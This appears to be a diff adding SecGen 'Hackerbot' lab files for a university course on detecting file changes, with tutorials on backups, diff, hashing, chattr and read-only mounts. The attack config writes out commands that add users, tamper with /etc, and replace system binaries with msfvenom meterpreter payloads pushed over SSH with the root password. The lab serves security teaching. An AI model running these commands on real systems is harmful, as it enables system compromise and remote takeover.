along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Integrity Management: Detecting Change + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
<%= File.read self.templates_path + 'integrity_limitations.md.erb' %> + +<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $random_user = SecureRandom.hex -%> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd. + + rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + + returned error code + :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!. + + + 0 + User added + + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + +<%= File.read self.templates_path + 'detect_changes.md.erb' %> + +<%= ERB.new(File.read self.templates_path + 'detect_changes_backups.md.erb').result(self.get_binding) %> + + + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /etc/ + A flag has been inserted into a random file in /etc/. Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/ + + + :( Something was not right... We are trying to write to /etc/ + + + + Find the flag in your backups. For a second flag, what file was the flag stored in? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /home/<%= $main_user %>/backups/ + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + + Find the flag in your backups. For a second flag, what file was the flag stored in? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + +<% $random = SecureRandom.hex -%> + + Creating a new file in /home/<%= $main_user %>/... Let it happen. + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + <%= ERB.new(File.read self.templates_path + 'fim.md.erb').result(self.get_binding) %> + + + + + Going to edit one of your files in /etc/. First, create hashes of /etc/. You will use hash comparisons to detect which file changes + x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that changed? Use hash comparisons. + {{post_command_output}} + :) <%= $flags.pop %> + + + <%= ERB.new(File.read self.templates_path + 'fim_recursive.md.erb').result(self.get_binding) %> + + + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes. + x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file. + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filenames. + mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo "$mv1 $mv2|$mv2 $mv1" + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What were the two files that were created? Write the two full paths separated by a space. + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename. + srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + binname=`sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'`; echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/bind_tcp -f elf -o /tmp/msfout; /usr/bin/rsync -ratlz --rsh="/usr/bin/sshpass -p <%= $root_password %> ssh -o StrictHostKeyChecking=no -l root" /tmp/msfout $binname + false + + Going to replace a binary file in /bin/ or /usr/bin/ with malware. Use PACKAGE VERIFICATION to detect which file has changed + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes.../ + + + :( Something was not right... + + + + What is the file that was created? + {{pre_shell_command_output_first_line}} + :) <%= $flags.pop %> + + + <%= File.read self.templates_path + 'fim_package_management.md.erb' %> + + + + + + binname=`sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'`; echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/reverse_tcp -f elf -o /tmp/msfout; /usr/bin/rsync -ratlz --rsh="/usr/bin/sshpass -p <%= $root_password %> ssh -o StrictHostKeyChecking=no -l root" /tmp/msfout $binname + false + + Going to replace a binary file in /bin/ or /usr/bin/ with malware. Detect which file has changed + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes.../ + + + :( Something was not right... + + + + What is the file that was created? + {{pre_shell_command_output_first_line}} + :) <%= $flags.pop %> + + + + + + Finally, try to prevent me from obtaining shell access to your system + :) Failed to get shell... <%= $flags.pop %> + + +
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb new file mode 100644 index 000000000..d6ab21c0e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb @@ -0,0 +1,3 @@ +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb new file mode 100644 index 000000000..dfc3fe2ea --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb @@ -0,0 +1,50 @@ +# Integrity Management: Detecting Change + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): +- hackerbot_server (leave it running, you don't log into this) +- desktop + +### Your login details for the "desktop" VM +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Meet Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you. + +**On the desktop VM:** + +==Open Pidgin and send some messages to Hackerbot:== + +- Try asking Hackerbot some questions +- Send "help" +- Send "list" +- Send "hello" + +Hackerbot will start you on your journey! Work through the below exercises, completing the Hackerbot challenges as noted. + +--- + +## Integrity + +Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on. + +> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required. +> +> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of unauthorised changes. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb new file mode 100644 index 000000000..99ae9bed0 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb @@ -0,0 +1,114 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb new file mode 100644 index 000000000..374803e00 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb @@ -0,0 +1,5 @@ +## Resources + +An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003). + +Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/) \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb new file mode 100644 index 000000000..b35801e69 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb @@ -0,0 +1,80 @@ +### Protecting integrity with read-only filesystems +#### Getting to know read-only mounting +On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do). + +In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only. + +In a command prompt, ==run:== + +```bash +mount +``` +> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents. + +Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point. + +List the contents of the /etc/ directory so you are familiar with its contents: + +```bash +ls /etc/ +``` +Create a new directory to be the mount point. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/etc +``` +==Mount the /etc/ directory to the new mount point:== + +```bash +sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/ +``` +Make sure the /etc/ directory is accessible via the home-etc directory mount point: + +```bash +ls /home/<%= $main_user %>/etc/ +``` +Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile1 +``` +Check that a new file has been created using the following commands: + +```bash +ls -l /home/<%= $main_user %>/etc/newfile1 +``` + +```bash +ls -l /etc/newfile1 +``` + +We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point. + +```bash +sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/ +``` +==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile2 +``` + +This should prevent changes being accidentally being made to important configuration files in the /etc/ directory. + + +We can ==remount a directory as read-only to itself==: + +```bash +sudo mount -o bind <%= $example_dir %> <%= $example_dir %> +sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %> +``` + +Now even the owner of the directory (you), can't make changes. ==Try:== + +```bash +cat > <%= $example_dir %>new_file +``` + +Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network. + +> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share). diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/integrity_protection.pp b/modules/generators/structured_content/hackerbot_config/integrity_protection/integrity_protection.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/integrity_protection/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb new file mode 100644 index 000000000..7629a808b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb @@ -0,0 +1,19 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class Integrity1 < HackerbotConfigGenerator + + def initialize + super + self.module_name = 'Hackerbot Config Generator Integrity' + self.title = 'Integrity management: protecting integrity' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + end + +end + +Integrity1.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml new file mode 100644 index 000000000..1c09d62dd --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml @@ -0,0 +1,57 @@ + + + + Hackerbot config for a protecting integrity lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for an integrity lab. + Topics covered: Protecting integrity with file attributes; + Protecting integrity with read-only filesystems. + + hackerbot_config + linux + + accounts + flags + root_password + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb new file mode 100644 index 000000000..825860781 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb @@ -0,0 +1,3 @@ +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb new file mode 100644 index 000000000..e9782150b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb @@ -0,0 +1,87 @@ +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ. + +Make a directory to store your backups. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/backups/ +``` + +==Make a backup copy of your /etc/passwd file:== + +```bash +cp /etc/passwd /home/<%= $main_user %>/backups/ +``` + +This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes. + +==Add a new user== to your computer... + +```bash +sudo useradd new-username +``` +> Where ==*new-username*==, is some new name. + +To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious: + +```bash +sudo vi /etc/passwd +``` +> Move the cursor onto the line representing your new account (probably at the bottom). +> +> In vi type: +> :m *-==number==* +> +> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Look at the changes in your accounts made on your computer, and try to spot the new user account: + +```bash +less /etc/passwd +``` +> (q to exit) + +It's not as easy as it sounds, especially if your system has lots of user accounts. + +Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command. + +==Run:== + +```bash +diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd +``` +Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code: + +```bash +diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd +``` + +The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup. + +Make a backup of your personal_secrets. ==Run:== + +```bash +cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal +``` +> The -r tells cp to copy directories and their contents recursively (including sub-directories) + +==Make a change to a file== in <%= $example_dir %> + +Then ==compare using diff:== + +```bash +diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/ +``` +> -r instructs diff to do a recursive comparison (searching through sub-directories) +> You can add *--suppress-common-lines* to reduce the amount of output + +There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit. + +> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb new file mode 100644 index 000000000..5ca2ed8a6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb @@ -0,0 +1,69 @@ +### Protecting integrity with file attributes +#### Getting to know file attributes +Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files. + +[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways. + +==Run:== + +```bash +lsattr <%= $example_file %> +``` +`` + -------------e- <%= $example_file %> +`` + +The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do: + +```bash +man chattr +``` +> (Press q to leave the manual page) + +==Set the 'i' flag== using the chattr command: + +```bash +sudo chattr +i <%= $example_file %> +``` + +Now ==try to delete the file== and see what happens: + +```bash +rm <%= $example_file %> +``` +Denied! + +==Use root permissions== to try to delete the file: + +```bash +sudo rm <%= $example_file %> +``` + +It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first. + +==Use some commands to remove the 'i' flag== +> Hint: '-i', instead of '+i'. + +Now run a command to ==set the 'a' flag on <%= $example_file %>.== + +If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:== + +```bash +sudo bash -c 'echo "test message" > <%= $example_file %>' +``` +> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +```bash +sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>' +``` +> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'. + +==View your changes== at the end of the file: + +```bash +tail <%= $example_file %> +``` + +This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb new file mode 100644 index 000000000..9fc0ac381 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb @@ -0,0 +1,89 @@ +### Protecting integrity with file permissions +#### Getting to know file permissions + +File permissions enable users to control the access that other users have to their files. + +We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions. + +Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole). + +Start by creating a file with some content. + +==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) +> The output is sent to the file /home/<%= $main_user %>/example +> +> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name. + +You can read the content: + +```bash +cat /home/<%= $main_user %>/example +``` + +Or replace the content: + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--"). + +By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files. + +You can remove the ability of *anyone* changing the content. ==Run:== + +```bash +chmod -w /home/<%= $main_user %>/example +``` +> -w means "remove write access (for everyone)" + +Try changing the content. ==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` + +You can't. + +You can remove the ability of **everyone else** changing the content. ==Run:== + +```bash +chmod u+w,o-rw /home/<%= $main_user %>/example +``` +> u+w: user who owns the file, add write access +> o-rw: others, remove read and write access + + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +Note that **the root user can access any files**, regardless of file permissions. + +```bash +chmod -w /home/<%= $main_user %>/example +sudo cat /home/<%= $main_user %>/example +``` +> Enter your password, and note that as root you can access the file regardless of permissions. + +"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges. + +Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb new file mode 100644 index 000000000..a960e7cf6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb @@ -0,0 +1,125 @@ +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons. + +Hashes have security properties that enable this use: + +- Each hash is unique to the input +- It is extremely difficult (practically impossible) to find another input that produces the same hash output +- Any change to the input (no matter how minor) changes the output hash dramatically + +We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence. + +==Generate an MD5 hash== of your backup password file, which you copied previously: + +```bash +md5sum /home/<%= $main_user %>/backups/passwd +``` + +Now ==calculate a hash== of your current passwd file: + +```bash +md5sum /etc/passwd +``` + +If the generated hashes are different, you know the files do not have **exactly the same content**. + +Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one. + +==Repeat the above two commands using shasum== rather than md5sum. + +SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes. + +==Run the following== to generate a file containing hashes of files we can later check against: + +```bash +mkdir /home/<%= $main_user %>/hashes/ + +shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha +shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha +sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha 